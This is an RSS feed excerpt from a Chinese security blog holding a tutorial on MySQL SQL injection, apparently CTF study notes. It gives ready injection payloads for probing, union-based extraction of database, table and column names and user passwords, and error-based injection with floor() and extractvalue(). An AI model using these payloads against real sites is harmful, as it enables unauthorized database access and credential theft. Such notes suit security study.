<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Sql Injection on chleynx's blog</title><link>/tags/sql-injection/</link><description>Recent content in Sql Injection on chleynx's blog</description><generator>Hugo</generator><language>zh-cn</language><lastBuildDate>Fri, 20 Oct 2023 18:38:57 +0800</lastBuildDate><atom:link href="/tags/sql-injection/index.xml" rel="self" type="application/rss+xml"/><item><title>SQL注入</title><link>/posts/sql%E6%B3%A8%E5%85%A5/</link><pubDate>Fri, 20 Oct 2023 18:38:57 +0800</pubDate><guid>/posts/sql%E6%B3%A8%E5%85%A5/</guid><description>&lt;h1 id="sql注入"&gt;SQL注入&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://xz.aliyun.com/t/10594#toc-6"&gt;SQL注入之Mysql注入姿势及绕过总结 - 先知社区 (aliyun.com)&lt;/a&gt;[盲注去这]&lt;/p&gt;
&lt;h2 id="联合查询"&gt;联合查询&lt;/h2&gt;
&lt;p&gt;很多时候联合查询也会和其他的几种查询方式一起使用。&lt;/p&gt;
&lt;h5 id="联合查询用到的sql语法知识"&gt;联合查询用到的SQL语法知识&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;UNION&lt;/code&gt;可以将前后两个查询语句的结果拼接到一起，但是会自动去重。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;UNION ALL&lt;/code&gt;功能相同，但是会显示所有数据，不会去重。&lt;/p&gt;
&lt;p&gt;具有类似功能的还有&lt;code&gt;JOIN&lt;/code&gt; &lt;a href="https://blog.csdn.net/julielele/article/details/82023577"&gt;https://blog.csdn.net/julielele/article/details/82023577&lt;/a&gt; 但是是一个对库表等进行连接的语句，我们在后续的绕过中会提到利用它来进行无列名注入。&lt;/p&gt;
&lt;h5 id="注入流程"&gt;注入流程&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;判断是否存在注入，注入是字符型还是数字型，闭合情况，绕过方式&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;?id=1&amp;#39; 
?id=1&amp;#34; 
?id=1&amp;#39;) 
?id=1&amp;#34;) 
?id=1&amp;#39; or 1#
?id=1&amp;#39; or 0#
?id=1&amp;#39; or 1=1#
?id=1&amp;#39; and 1=2#
?id=1&amp;#39; and sleep(5)#
?id=1&amp;#39; and 1=2 or &amp;#39; 
?id=1\
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;猜测SQL查询语句中的字段数&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 order/group by 语句，通过往后边拼接数字指导页面报错，可确定字段数量。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1&amp;#39; order by 1#
1&amp;#39; order by 2#
1&amp;#39; order by 3#
1 order by 1
1 order by 2
1 order by 3
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;使用 union select 联合查询，不断在 union select 后面加数字，直到不报错，即可确定字段数量。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1&amp;#39; union select 1#
1&amp;#39; union select 1,2#
1&amp;#39; union select 1,2,3#
1 union select 1#
1 union select 1,2#
1 union select 1,2,3#
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;确定显示数据的字段位置
使用 union select 1,2,3,4,&amp;hellip; 根据回显的字段数，判断回显数据的字段位置。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-1&amp;#39; union select 1#
-1&amp;#39; union select 1,2#
-1&amp;#39; union select 1,2,3#
-1 union select 1#
-1 union select 1,2#
-1 union select 1,2,3#
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;注意：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;若确定页面有回显，但是页面中并没有我们定义的特殊标记数字出现，可能是页面进行的是单行数据输出，我们让前边的 select 查询条件返回结果为空即可。&lt;/li&gt;
&lt;li&gt;⼀定要拼接够足够的字段数，否则SQL语句报错。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在回显数据的字段位置使用 union select 将我们所需要的数据查询出来即可。包括但不限于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;获取当前数据库名&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-1&amp;#39; union select 1,2,database()--+
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;获取当前数据库的表名&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-1&amp;#39; union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

-1&amp;#39; union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;获取表中的字段名&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-1&amp;#39; union select 1,2,group_concat(column_name) from information_schema.columns where table_name=&amp;#39;users&amp;#39;--+

-1&amp;#39; union select 1,(select group_concat(column_name) from information_schema.columns where table_name=&amp;#39;users&amp;#39;),3--+
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;获取数据&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-1&amp;#39; union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users--+

-1&amp;#39; union select 1,(select group_concat(id,0x7c,username,0x7c,password) from users),3--+
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;一般情况下就是这样的一个顺序，&lt;code&gt;确定联合查询的字段数-&amp;gt;确定联合查询回显位置-&amp;gt;爆库-&amp;gt;爆表-&amp;gt;爆字段-&amp;gt;爆数据&lt;/code&gt;。&lt;/p&gt;
&lt;h2 id="报错注入"&gt;报错注入：&lt;/h2&gt;
&lt;h4 id="报错注入用到的sql语法知识"&gt;报错注入用到的SQL语法知识&lt;/h4&gt;
&lt;p&gt;大体的思路就是利用报错回显，同时我们的查询指令或者SQL函数会被执行，&lt;strong&gt;报错的过程可能会出现在查询或者插入甚至删除的过程&lt;/strong&gt;中。&lt;/p&gt;
&lt;h4 id="0x00-floor8xmysql50双查询报错注入"&gt;0x00 floor()（8.x&amp;gt;mysql&amp;gt;5.0）[双查询报错注入]&lt;/h4&gt;
&lt;p&gt;函数返回小于或等于指定值（value）的最小整数,取整&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;通过floor报错的方法来爆数据的&lt;strong&gt;本质是group by语句的报错&lt;/strong&gt;。group by语句报错的原因是&lt;code&gt;floor(random(0)*2)&lt;/code&gt;的不确定性，即可能为0也可能为1&lt;/p&gt;
&lt;p&gt;group by key的原理是循环读取数据的每一行，将结果保存于临时表中。读取每一行的key时，&lt;strong&gt;如果key存在于临时表中，则不在临时表中更新临时表中的数据；如果该key不存在于临时表中，则在临时表中插入key所在行的数据。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;group by &lt;code&gt;floor(random(0)*2)&lt;/code&gt;出错的原因是key是个随机数，检测临时表中key是否存在时计算了一下&lt;code&gt;floor(random(0)*2)&lt;/code&gt;可能为0，如果此时临时表&lt;strong&gt;只有key为1的行不存在key为0的行&lt;/strong&gt;，那么数据库要将该条记录&lt;strong&gt;插入&lt;/strong&gt;临时表，由于是随机数，插时又要计算一下随机值，此时&lt;code&gt;floor(random(0)*2)&lt;/code&gt;结果可能为1，就会导致插入时&lt;strong&gt;冲突而报错&lt;/strong&gt;。即检测时和插入时两次计算了随机数的值。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;?id=0’ union select 1,2,3 from(select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
/*拆解出来就是下面的语句*/
concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;可以看到这里实际上不光使用了报错注入还是用了刚刚的联合查询，同时还是一个双查询的报错注入，当在一个聚合函数，比如count()函数后面如果使用group by分组语句的话，就可能会把查询的一部分以错误的形式显示出来。但是要多次测试才可以得到报错&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;大体思路就是当在一个聚合函数，比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来，但是因为随机数要测试多次才能得到报错，上面报错注入函数中的第一个&lt;code&gt;Floor()&lt;/code&gt;就是这种情况。&lt;/p&gt;
&lt;h4 id="0x01-extractvalue--------writeup_2023_0xgame_week2---rdjs-blog-notnad3githubio-2-ez_upload例题sql注入"&gt;0x01 extractvalue() [Writeup_2023_0xGame_Week2 - rdj&amp;rsquo;s Blog (notnad3.github.io)](&lt;a href="https://notnad3.github.io/2023/10/01/%5BWeek"&gt;https://notnad3.github.io/2023/10/01/[Week&lt;/a&gt; 2] ez_upload/)【例题，sql注入】&lt;/h4&gt;
&lt;p&gt;对XML文档进行查询的函数&lt;/p&gt;
&lt;p&gt;第二个参数 xml中的位置是可操作的地方，xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式，如果我们写入其他格式，就会报错，并且会返回我们写入的非法格式内容，而这个非法的内容就是我们想要查询的内容。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;其实就是相当于我们熟悉的HTML文件中用 &lt;div&gt;&lt;p&gt;&lt;a&gt;标签查找元素一样&lt;/p&gt;
&lt;p&gt;语法：extractvalue(目标xml文档，xml路径)&lt;/p&gt;
&lt;p&gt;第二个参数 xml中的位置是可操作的地方，xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式，如果我们写入其他格式，就会报错，并且会返回我们写入的非法格式内容，而这个非法的内容就是我们想要查询的内容。&lt;/p&gt;
&lt;p&gt;正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错&lt;/p&gt;
&lt;p&gt;select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))&lt;/p&gt;</description></item></channel></rss>